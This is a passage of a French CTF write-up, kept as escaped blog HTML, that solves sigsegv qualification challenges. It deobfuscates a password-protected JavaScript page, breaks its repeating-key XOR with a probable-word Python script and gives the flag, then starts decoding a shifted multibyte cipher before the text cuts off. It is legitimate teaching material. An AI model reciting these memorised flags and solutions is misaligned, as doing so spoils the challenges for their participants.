src=\"https:\/\/2.bp.blogspot.com\/-RzbvmwXsFGs\/W8hHKOhqWfI\/AAAAAAAAAj0\/vXobc1JLI2Y5eR_135WxudwUm-f9XQcRgCLcBGAs\/s1600\/3_1.png\" border=\"0\" data-original-height=\"41\" data-original-width=\"499\" \/><\/a><\/div>\n<p><span class=\"w-code\"><span class=\"sc1\">&lt;html&gt;&lt;SCRIPT<\/span> <span class=\"sc3\">LANGUAGE<\/span><span class=\"sc8\">=<\/span><span class=\"sc6\">&#8220;JavaScript&#8221;<\/span><span class=\"sc1\">&gt;<\/span><span class=\"sc43\">&lt;!&#8211;<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc46\">document.write<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">unescape<\/span><span class=\"sc50\">(<\/span><span class=\"sc48\">&#8220;%3C%53[..snip..]%54%3E&#8221;<\/span><span class=\"sc50\">));<\/span><span class=\"sc43\">\/\/&#8211;&gt;<\/span><span class=\"sc1\">&lt;\/SCRIPT&gt;&lt;SCRIPT<\/span> <span class=\"sc3\">LANGUAGE<\/span><span class=\"sc8\">=<\/span><span class=\"sc6\">&#8220;JavaScript&#8221;<\/span><span class=\"sc1\">&gt;<\/span><span class=\"sc43\">&lt;!&#8211;<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc46\">hp_d01<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">unescape<\/span><span class=\"sc50\">(<\/span><span class=\"sc48\">&#8220;%3E%23\/\/JGCF[..snip..]%23\/\/-JGCF\/\/%3C&#8221;<\/span><span class=\"sc50\">));<\/span><span class=\"sc43\">\/\/&#8211;&gt;<\/span><span class=\"sc1\">&lt;\/SCRIPT&gt;&lt;NOSCRIPT&gt;<\/span><span class=\"sc0\">To display this page you need a browser with JavaScript support.<\/span><span class=\"sc1\">&lt;\/NOSCRIPT&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">&lt;\/html&gt;<\/span><span class=\"sc0\"><br \/>\n<\/span><\/span><br \/>\nIl est en g\u00e9n\u00e9ral possible de rencontrer deux types d&#8217;obfuscation JavaScript :<\/p>\n<ul>\n<li>La premi\u00e8re construit un code qui sera d\u00e9sobfusqu\u00e9 et ex\u00e9cut\u00e9 gr\u00e2ce \u00e0 la fonction <b>eval()<\/b><\/li>\n<li>La seconde construit un code qui sera d\u00e9sobfusqu\u00e9 et ex\u00e9cut\u00e9 en l&#8217;ajoutant dynamiquement dans le code de la page, par exemple via <b>document.write()<\/b><\/li>\n<\/ul>\n<p>Ce challenge utilise la seconde m\u00e9thode, et le code final peut donc \u00eatre r\u00e9cup\u00e9r\u00e9 en utilisant l&#8217;inspecteur HTML de Chrome \/ Firefox \/ Opera :<\/p>\n<div class=\"separator\" style=\"clear: both; text-align: center;\"><a style=\"margin-left: 1em; margin-right: 1em;\" href=\"https:\/\/1.bp.blogspot.com\/-2ZA5mrOy7eA\/W8hIxs8eBWI\/AAAAAAAAAkA\/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs\/s1600\/3_2.png\"><img decoding=\"async\" src=\"https:\/\/1.bp.blogspot.com\/-2ZA5mrOy7eA\/W8hIxs8eBWI\/AAAAAAAAAkA\/pOFHhywWeksrEy6vADS6n8DAK9Ar8SulACLcBGAs\/s1600\/3_2.png\" border=\"0\" data-original-height=\"237\" data-original-width=\"587\" \/><\/a><\/div>\n<p>Le code complet de la fonction JavaScript est le suivant :<br \/>\n<span class=\"w-code\"><span class=\"sc1\">&lt;script<\/span> <span class=\"sc3\">language<\/span><span class=\"sc8\">=<\/span><span class=\"sc6\">&#8220;JavaScript&#8221;<\/span><span class=\"sc1\">&gt;<\/span><span class=\"sc40\"><br \/>\n<\/span><span class=\"sc47\">function<\/span> <span class=\"sc46\">Kod<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">s<\/span><span class=\"sc50\">,<\/span> <span class=\"sc46\">pass<\/span><span class=\"sc50\">)<\/span> <span class=\"sc50\">{<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">var<\/span> <span class=\"sc46\">i<\/span><span class=\"sc50\">=<\/span><span class=\"sc45\">0<\/span><span class=\"sc50\">;<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">var<\/span> <span class=\"sc46\">BlaBla<\/span><span class=\"sc50\">=<\/span><span class=\"sc48\">&#8220;&#8221;<\/span><span class=\"sc50\">;<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">for<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">j<\/span><span class=\"sc50\">=<\/span><span class=\"sc45\">0<\/span><span class=\"sc50\">;<\/span> <span class=\"sc46\">j<\/span><span class=\"sc50\">&lt;<\/span><span class=\"sc46\">s.length<\/span><span class=\"sc50\">;<\/span> <span class=\"sc46\">j<\/span><span class=\"sc50\">++)<\/span> <span class=\"sc50\">{<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc46\">BlaBla<\/span> <span class=\"sc50\">+=<\/span> <span class=\"sc46\">String.fromCharCode<\/span><span class=\"sc50\">((<\/span><span class=\"sc46\">pass.charCodeAt<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">i<\/span><span class=\"sc50\">++))^(<\/span><span class=\"sc46\">s.charCodeAt<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">j<\/span><span class=\"sc50\">)));<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">if<\/span> <span class=\"sc50\">(<\/span><span class=\"sc46\">i<\/span><span class=\"sc50\">&gt;=<\/span><span class=\"sc46\">pass.length<\/span><span class=\"sc50\">)<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc46\">i<\/span><span class=\"sc50\">=<\/span><span class=\"sc45\">0<\/span><span class=\"sc50\">;<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc50\">}<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">return<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">BlaBla<\/span><span class=\"sc50\">);<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc50\">}<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">function<\/span> <span class=\"sc46\">f<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">form<\/span><span class=\"sc50\">){<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">var<\/span> <span class=\"sc46\">pass<\/span><span class=\"sc50\">=<\/span><span class=\"sc46\">document.form.pass.value<\/span><span class=\"sc50\">;<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">var<\/span> <span class=\"sc46\">hash<\/span><span class=\"sc50\">=<\/span><span class=\"sc45\">0<\/span><span class=\"sc50\">;<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">for<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">j<\/span><span class=\"sc50\">=<\/span><span class=\"sc45\">0<\/span><span class=\"sc50\">;<\/span> <span class=\"sc46\">j<\/span><span class=\"sc50\">&lt;<\/span><span class=\"sc46\">pass.length<\/span><span class=\"sc50\">;<\/span> <span class=\"sc46\">j<\/span><span class=\"sc50\">++){<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">var<\/span> <span class=\"sc46\">n<\/span><span class=\"sc50\">=<\/span> <span class=\"sc46\">pass.charCodeAt<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">j<\/span><span class=\"sc50\">);<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc46\">hash<\/span> <span class=\"sc50\">+=<\/span> <span class=\"sc50\">((<\/span><span class=\"sc46\">n<\/span><span class=\"sc50\">&#8211;<\/span><span class=\"sc46\">j<\/span><span class=\"sc50\">+<\/span><span class=\"sc45\">33<\/span><span class=\"sc50\">)^<\/span><span class=\"sc45\">31025<\/span><span class=\"sc50\">);<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc50\">}<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">if<\/span> <span class=\"sc50\">(<\/span><span class=\"sc46\">hash<\/span> <span class=\"sc50\">==<\/span> <span class=\"sc45\">529387<\/span><span class=\"sc50\">)<\/span> <span class=\"sc50\">{<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">var<\/span> <span class=\"sc46\">Secret<\/span> <span class=\"sc50\">=<\/span><span class=\"sc48\">&#8220;&#8221;<\/span><span class=\"sc50\">+<\/span><span class=\"sc48\">&#8220;\\x4f\\x01\\x13\\x1e\\x09\\x59\\x34\\x09\\x0b\\x05\\x26\\x53\\x31\\x41\\x5a\\x18\\x0e\\x53\\x1d\\x15\\x1c\\x10\\x11\\x13\\x5b\\x06\\x16\\x69\\x15\\x29\\x55\\x1d\\x55\\x5d\\x06\\x1d\\x0e\\x1f\\x0c\\x14\\x13\\x5b\\x06\\x16\\x69\\x1e\\x2a\\x40\\x5a\\x1d\\x18\\x53\\x19\\x06\\x00\\x16\\x02\\x56\\x0a\\x1f\\x16\\x69\\x07\\x30\\x14\\x1b\\x0a\\x5d\\x07\\x1b\\x08\\x06\\x13\\x02\\x56\\x0b\\x05\\x06\\x3b\\x53\\x33\\x55\\x16\\x10\\x19\\x16\\x1b\\x47\\x1f\\x00\\x47\\x15\\x13\\x0b\\x1f\\x25\\x16\\x2b\\x53\\x1f\\x45\\x52\\x1b\\x1d\\x0a\\x1f\\x5b&#8221;<\/span><span class=\"sc50\">+<\/span><span class=\"sc48\">&#8220;&#8221;<\/span><span class=\"sc50\">;<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc47\">var<\/span> <span class=\"sc46\">s<\/span><span class=\"sc50\">=<\/span><span class=\"sc46\">Kod<\/span><span class=\"sc50\">(<\/span><span class=\"sc46\">Secret<\/span><span class=\"sc50\">,<\/span> <span class=\"sc46\">pass<\/span><span class=\"sc50\">);<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc46\">document.write<\/span> <span class=\"sc50\">(<\/span><span class=\"sc46\">s<\/span><span class=\"sc50\">);<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc50\">}<\/span> <span class=\"sc47\">else<\/span> <span class=\"sc50\">{<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc46\">alert<\/span> <span class=\"sc50\">(<\/span><span class=\"sc49\">&#8216;Wrong password!&#8217;<\/span><span class=\"sc50\">);<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc50\">}<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc50\">}<\/span><span class=\"sc41\"><br \/>\n<\/span><span class=\"sc1\">&lt;\/script&gt;<\/span><\/span><br \/>\nLes premi\u00e8re analyses du code indiquent que :<\/p>\n<ul>\n<li>La fonction <b>Kod<\/b>\u00a0consiste \u00e0 r\u00e9aliser une op\u00e9ration <b>XOR<\/b>\u00a0entre une cha\u00eene et une cl\u00e9, cette derni\u00e8re \u00e9tant r\u00e9p\u00e9t\u00e9e si plus courte que la cha\u00eene \u00e0 chiffrer<\/li>\n<li>La fonction <b>f<\/b>\u00a0est appel\u00e9e sur validation du formulaire et :\n<ul>\n<li>r\u00e9alise une v\u00e9rification sur la cl\u00e9 entr\u00e9e dans le formulaire (variable <b>hash<\/b>)<\/li>\n<li>d\u00e9chiffre la variable <b>Secret<\/b>\u00a0\u00e0 l&#8217;aide de la cl\u00e9 pour l&#8217;afficher sur la page<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n<div>Il s&#8217;agit donc ici d&#8217;un probl\u00e8me de cryptographie, et la premi\u00e8re \u00e9tape consiste \u00e0 trouver la longueur de la cl\u00e9. Bien que des analyses statistiques soient possibles, une m\u00e9thode plus facile consiste \u00e0 utiliser le calcul de la variable <b>hash<\/b>\u00a0pour \u00e9valuer cette longueur.<\/div>\n<div>Cette variable est la somme des <span class=\"w-inline-code\">(n-j+33)^31025<\/span>, <b>n<\/b> \u00e9tant le code ASCII du caract\u00e8re et <b>j <\/b>sa position. Ces \u00e9l\u00e9ments sont globalement born\u00e9s autour dans l&#8217;intervalle 30000-32000. Il est donc facile d&#8217;approximer la longueur de la cl\u00e9 via Napprox = 529387 \/ 31000 = 17.077<\/div>\n<\/div>\n<\/div>\n<p>, soit 17.<\/p>\n<div style=\"text-align: justify;\">Connaissant cette longueur, la variable Secret peut \u00eatre pr\u00e9sent\u00e9e sous la forme suivante, qui aligne les octets du texte chiffr\u00e9 qui seront d\u00e9chiffr\u00e9s \u00e0 l&#8217;aide des m\u00eames octets de la cl\u00e9 :<\/div>\n<p><span class=\"w-code\"><span class=\"sc3\">&#8220;\\x4f\\x01\\x13\\x1e\\x09\\x59\\x34\\x09\\x0b\\x05\\x26\\x53\\x31\\x41\\x5a\\x18\\x0e&#8221;<\/span> <span class=\"sc10\">+<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc3\">&#8220;\\x53\\x1d\\x15\\x1c\\x10\\x11\\x13\\x5b\\x06\\x16\\x69\\x15\\x29\\x55\\x1d\\x55\\x5d&#8221;<\/span> <span class=\"sc10\">+<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc3\">&#8220;\\x06\\x1d\\x0e\\x1f\\x0c\\x14\\x13\\x5b\\x06\\x16\\x69\\x1e\\x2a\\x40\\x5a\\x1d\\x18&#8221;<\/span> <span class=\"sc10\">+<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc3\">&#8220;\\x53\\x19\\x06\\x00\\x16\\x02\\x56\\x0a\\x1f\\x16\\x69\\x07\\x30\\x14\\x1b\\x0a\\x5d&#8221;<\/span> <span class=\"sc10\">+<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc3\">&#8220;\\x07\\x1b\\x08\\x06\\x13\\x02\\x56\\x0b\\x05\\x06\\x3b\\x53\\x33\\x55\\x16\\x10\\x19&#8221;<\/span> <span class=\"sc10\">+<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc3\">&#8220;\\x16\\x1b\\x47\\x1f\\x00\\x47\\x15\\x13\\x0b\\x1f\\x25\\x16\\x2b\\x53\\x1f\\x45\\x52&#8221;<\/span> <span class=\"sc10\">+<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc3\">&#8220;\\x1b\\x1d\\x0a\\x1f\\x5b&#8221;<\/span><\/span><\/p>\n<div style=\"text-align: justify;\">Pour traduire peu \u00e0 peu le texte, il est possible d&#8217;utiliser la technique du mot probable, qui fonctionne comme suit : on suppose qu&#8217;un certain mot est pr\u00e9sent (non coup\u00e9) dans l&#8217;un des blocs. Il est alors possible d&#8217;en d\u00e9duire une portion de cl\u00e9 probable, et de d\u00e9chiffrer les autres portions de blocs avec cette cl\u00e9.<\/div>\n<div style=\"text-align: justify;\">Le script suivant permet de faciliter cette recherche, et d&#8217;aboutir peu \u00e0 peu \u00e0 la cl\u00e9 finale, <span class=\"w-inline-code\">sigsegv{jsIsE4zy}<\/span>\u00a0:<\/div>\n<p><span class=\"w-code\"><span class=\"sc1\">#!\/usr\/bin\/python<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">import<\/span> <span class=\"sc11\">sys<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">def<\/span> <span class=\"sc9\">xor<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">a<\/span><span class=\"sc10\">,<\/span> <span class=\"sc11\">b<\/span><span class=\"sc10\">):<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">return<\/span> <span class=\"sc4\">&#8221;<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">join<\/span><span class=\"sc10\">([<\/span><span class=\"sc11\">chr<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">ord<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">c<\/span><span class=\"sc10\">)^<\/span><span class=\"sc11\">ord<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">d<\/span><span class=\"sc10\">))<\/span> <span class=\"sc5\">for<\/span> <span class=\"sc11\">c<\/span><span class=\"sc10\">,<\/span> <span class=\"sc11\">d<\/span> <span class=\"sc5\">in<\/span> <span class=\"sc11\">zip<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">a<\/span><span class=\"sc10\">,<\/span> <span class=\"sc11\">b<\/span><span class=\"sc10\">)])<\/span><\/span><br \/>\n<span class=\"sc11\">blocks<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc10\">[<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc4\">&#8216;\\x4f\\x01\\x13\\x1e\\x09\\x59\\x34\\x09\\x0b\\x05\\x26\\x53\\x31\\x41\\x5a\\x18\\x0e&#8217;<\/span><span class=\"sc10\">,<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc4\">&#8216;\\x53\\x1d\\x15\\x1c\\x10\\x11\\x13\\x5b\\x06\\x16\\x69\\x15\\x29\\x55\\x1d\\x55\\x5d&#8217;<\/span><span class=\"sc10\">,<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc4\">&#8216;\\x06\\x1d\\x0e\\x1f\\x0c\\x14\\x13\\x5b\\x06\\x16\\x69\\x1e\\x2a\\x40\\x5a\\x1d\\x18&#8217;<\/span><span class=\"sc10\">,<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc4\">&#8216;\\x53\\x19\\x06\\x00\\x16\\x02\\x56\\x0a\\x1f\\x16\\x69\\x07\\x30\\x14\\x1b\\x0a\\x5d&#8217;<\/span><span class=\"sc10\">,<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc4\">&#8216;\\x07\\x1b\\x08\\x06\\x13\\x02\\x56\\x0b\\x05\\x06\\x3b\\x53\\x33\\x55\\x16\\x10\\x19&#8217;<\/span><span class=\"sc10\">,<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc4\">&#8216;\\x16\\x1b\\x47\\x1f\\x00\\x47\\x15\\x13\\x0b\\x1f\\x25\\x16\\x2b\\x53\\x1f\\x45\\x52&#8217;<\/span><span class=\"sc10\">,<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\">#&#8217;\\x1b\\x1d\\x0a\\x1f\\x5b&#8217;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc10\">]<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">pw<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">sys<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">argv<\/span><span class=\"sc10\">[<\/span><span class=\"sc2\">1<\/span><span class=\"sc10\">]<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">for<\/span> <span class=\"sc11\">b<\/span> <span class=\"sc5\">in<\/span> <span class=\"sc11\">blocks<\/span><span class=\"sc10\">:<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span> <span class=\"sc4\">&#8216;[-] Ref is %s&#8217;<\/span> <span class=\"sc10\">%<\/span> <span class=\"sc11\">repr<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">b<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">for<\/span> <span class=\"sc11\">i<\/span> <span class=\"sc5\">in<\/span> <span class=\"sc11\">range<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">len<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">blocks<\/span><span class=\"sc10\">[<\/span><span class=\"sc2\">0<\/span><span class=\"sc10\">])-<\/span><span class=\"sc11\">len<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">pw<\/span><span class=\"sc10\">)+<\/span><span class=\"sc2\">1<\/span><span class=\"sc10\">):<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span> <span class=\"sc4\">&#8216;[-] At pos %d&#8217;<\/span> <span class=\"sc10\">%<\/span> <span class=\"sc11\">i<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">pk<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">xor<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">b<\/span><span class=\"sc10\">[<\/span><span class=\"sc11\">i<\/span><span class=\"sc10\">:],<\/span> <span class=\"sc11\">pw<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span> <span class=\"sc4\">&#8216;[-] PK = %s&#8217;<\/span> <span class=\"sc10\">%<\/span> <span class=\"sc11\">repr<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">pk<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">for<\/span> <span class=\"sc11\">b2<\/span> <span class=\"sc5\">in<\/span> <span class=\"sc11\">blocks<\/span><span class=\"sc10\">:<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">if<\/span> <span class=\"sc11\">b<\/span><span class=\"sc10\">==<\/span><span class=\"sc11\">b2<\/span><span class=\"sc10\">:<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">continue<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span> <span class=\"sc11\">xor<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">b2<\/span><span class=\"sc10\">[<\/span><span class=\"sc11\">i<\/span><span class=\"sc10\">:],<\/span> <span class=\"sc11\">pk<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">print<\/span> <span class=\"sc4\">&#8221;<\/span><span class=\"sc0\"><br \/>\n<\/span><\/p>\n<h2>Cryptographie : Un nouveau dialecte (ShrewkRoot)<\/h2>\n<div><b>Description :<\/b>\u00a0Nous avons trouv\u00e9 un nouveau dialecte, analysez-le pour retrouver ce qu&#8217;il signifie:<br \/>\n<span class=\"w-inline-code\">\u0203\u01f9\u01f7\u0203\u01f5\u01f7\u0206\u020b\u01dc\u01d1\u01e3\u01e4\u01d5\u01d7\u01d1\u01d3\u01d5\u01e3\u01e4\u01e0\u01d1\u01e3\u01e3\u01d9\u01d6\u01d1\u01d3\u01d9\u01dc\u01d5\u020d<\/span>Avant de se lancer \u00e0 l&#8217;emporte pi\u00e8ce, il est important de noter qu&#8217;il s&#8217;agit ici de caract\u00e8res multi-bytes. Une m\u00e9thode simple pour traduire ces derniers consiste \u00e0 utiliser hexdump :<\/div>\n<p><span class=\"w-code\"><span class=\"w-user\">iansus <\/span>@ <span class=\"w-server\">iansus-server<\/span> ~\/rtfm\/quals\/js % <span class=\"w-cli\">echo -n \u0203\u01f9\u01f7\u0203\u01f5\u01f7\u0206\u020b\u01dc\u01d1\u01e3\u01e4\u01d5\u01d7\u01d1\u01d3\u01d5\u01e3\u01e4\u01e0\u01d1\u01e3\u01e3\u01d9\u01d6\u01d1\u01d3\u01d9\u01dc\u01d5\u020d | hexdump -C<\/span><br \/>\n00000000 <span class=\"w-grepped\">c8<\/span> 83 <span class=\"w-grepped\">c7<\/span> b9 <span class=\"w-grepped\">c7<\/span> b7 <span class=\"w-grepped\">c8<\/span> 83 <span class=\"w-grepped\">c7<\/span> b5 <span class=\"w-grepped\">c7<\/span> b7 <span class=\"w-grepped\">c8<\/span> 86 <span class=\"w-grepped\">c8<\/span> 8b |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000010 <span class=\"w-grepped\">c7<\/span> 9c <span class=\"w-grepped\">c7<\/span> 91 <span class=\"w-grepped\">c7<\/span> a3 <span class=\"w-grepped\">c7<\/span> a4 <span class=\"w-grepped\">c7<\/span> 95 <span class=\"w-grepped\">c7<\/span> 97 <span class=\"w-grepped\">c7<\/span> 91 <span class=\"w-grepped\">c7<\/span> 93 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000020 <span class=\"w-grepped\">c7<\/span> 95 <span class=\"w-grepped\">c7<\/span> a3 <span class=\"w-grepped\">c7<\/span> a4 <span class=\"w-grepped\">c7<\/span> a0 <span class=\"w-grepped\">c7<\/span> 91 <span class=\"w-grepped\">c7<\/span> a3 <span class=\"w-grepped\">c7<\/span> a3 <span class=\"w-grepped\">c7<\/span> 99 |&#8230;&#8230;&#8230;&#8230;&#8230;.|<br \/>\n00000030 <span class=\"w-grepped\">c7<\/span> 96 <span class=\"w-grepped\">c7<\/span> 91 <span class=\"w-grepped\">c7<\/span> 93 <span class=\"w-grepped\">c7<\/span> 99 <span class=\"w-grepped\">c7<\/span> 9c <span class=\"w-grepped\">c7<\/span> 95 <span class=\"w-grepped\">c8<\/span> 8d |&#8230;&#8230;&#8230;&#8230;..|<br \/>\n0000003e<\/span><br \/>\nOn constate alors rapidement que les caract\u00e8res s&#8217;\u00e9crivent sur deux octets, et qu&#8217;ils se pr\u00e9sentent tous sous les forme <b>c7 xx<\/b> ou <b>c8 yy<\/b>. Par ailleurs, en supposant que le texte d\u00e9cod\u00e9 commence par <b>sigsegv{<\/b>, on remarque que :<\/p>\n<ul>\n<li>La 1\u00e8re lettre (s) et la 4\u00e8me lettre (s) sont cod\u00e9es de mani\u00e8re identique (c8 83) : il s&#8217;agit donc probablement d&#8217;une substitution monoalphab\u00e9tique<\/li>\n<li>La 5\u00e8me lettre (e) et la 7\u00e8me lettre (g) ont respectivement pour valeur cod\u00e9e <b>c7 b5<\/b> et <b>c7 b7<\/b>\u00a0: le d\u00e9calage entre deux lettres est constant, il s&#8217;agit probablement d&#8217;une variante du chiffre de C\u00e9sar<\/li>\n<\/ul>\n<div>Par cons\u00e9quent, connaissant le clair et le chiffr\u00e9 pour une lettre de chaque encodage (<b>c7 xx<\/b> et <b>c8 yy<\/b>), il est facile de coder un programme qui r\u00e9alisera la traduction pour nous :<\/div>\n<div><span class=\"w-code\"><span class=\"w-code\"><span class=\"sc1\">#!\/usr\/bin\/python<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">import<\/span> <span class=\"sc11\">sys<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\"># No multibyte string in Python&#8230;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">s<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">sys<\/span><span class=\"sc10\">.<\/span><span class=\"sc11\">argv<\/span><span class=\"sc10\">[<\/span><span class=\"sc2\">1<\/span><span class=\"sc10\">]<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc1\"># Compute shift from &#8220;sigsegv{&#8230;.}&#8221;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">dec1<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">ord<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">s<\/span><span class=\"sc10\">[<\/span><span class=\"sc2\">0<\/span><span class=\"sc10\">*<\/span><span class=\"sc2\">2<\/span><span class=\"sc10\">+<\/span><span class=\"sc2\">1<\/span><span class=\"sc10\">])-<\/span><span class=\"sc11\">ord<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">&#8216;s&#8217;<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">dec2<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc11\">ord<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">s<\/span><span class=\"sc10\">[<\/span><span class=\"sc2\">1<\/span><span class=\"sc10\">*<\/span><span class=\"sc2\">2<\/span><span class=\"sc10\">+<\/span><span class=\"sc2\">1<\/span><span class=\"sc10\">])-<\/span><span class=\"sc11\">ord<\/span><span class=\"sc10\">(<\/span><span class=\"sc4\">&#8216;i&#8217;<\/span><span class=\"sc10\">)<\/span><\/span><\/span><br \/>\n<span class=\"w-code\"><span class=\"w-code\"><span class=\"sc1\"># Apply unshift<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">sol<\/span> <span class=\"sc10\">=<\/span> <span class=\"sc4\">&#8221;<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">for<\/span> <span class=\"sc11\">i<\/span> <span class=\"sc5\">in<\/span> <span class=\"sc11\">range<\/span><span class=\"sc10\">(<\/span><span class=\"sc2\">0<\/span><span class=\"sc10\">,<\/span> <span class=\"sc11\">len<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">s<\/span><span class=\"sc10\">),<\/span> <span class=\"sc2\">2<\/span><span class=\"sc10\">):<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">if<\/span> <span class=\"sc11\">ord<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">s<\/span><span class=\"sc10\">[<\/span><span class=\"sc11\">i<\/span><span class=\"sc10\">])==<\/span><span class=\"sc2\">0xc8<\/span><span class=\"sc10\">:<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">sol<\/span> <span class=\"sc10\">+=<\/span> <span class=\"sc11\">chr<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">ord<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">s<\/span><span class=\"sc10\">[<\/span><span class=\"sc11\">i<\/span><span class=\"sc10\">+<\/span><span class=\"sc2\">1<\/span><span class=\"sc10\">])-<\/span><span class=\"sc11\">dec1<\/span><span class=\"sc10\">)<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc5\">else<\/span><span class=\"sc10\">:<\/span><span class=\"sc0\"><br \/>\n<\/span><span class=\"sc11\">sol<\/span> <span class=\"sc10\">+=<\/span> <span class=\"sc11\">chr<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">ord<\/span><span class=\"sc10\">(<\/span><span class=\"sc11\">s<\/span><span 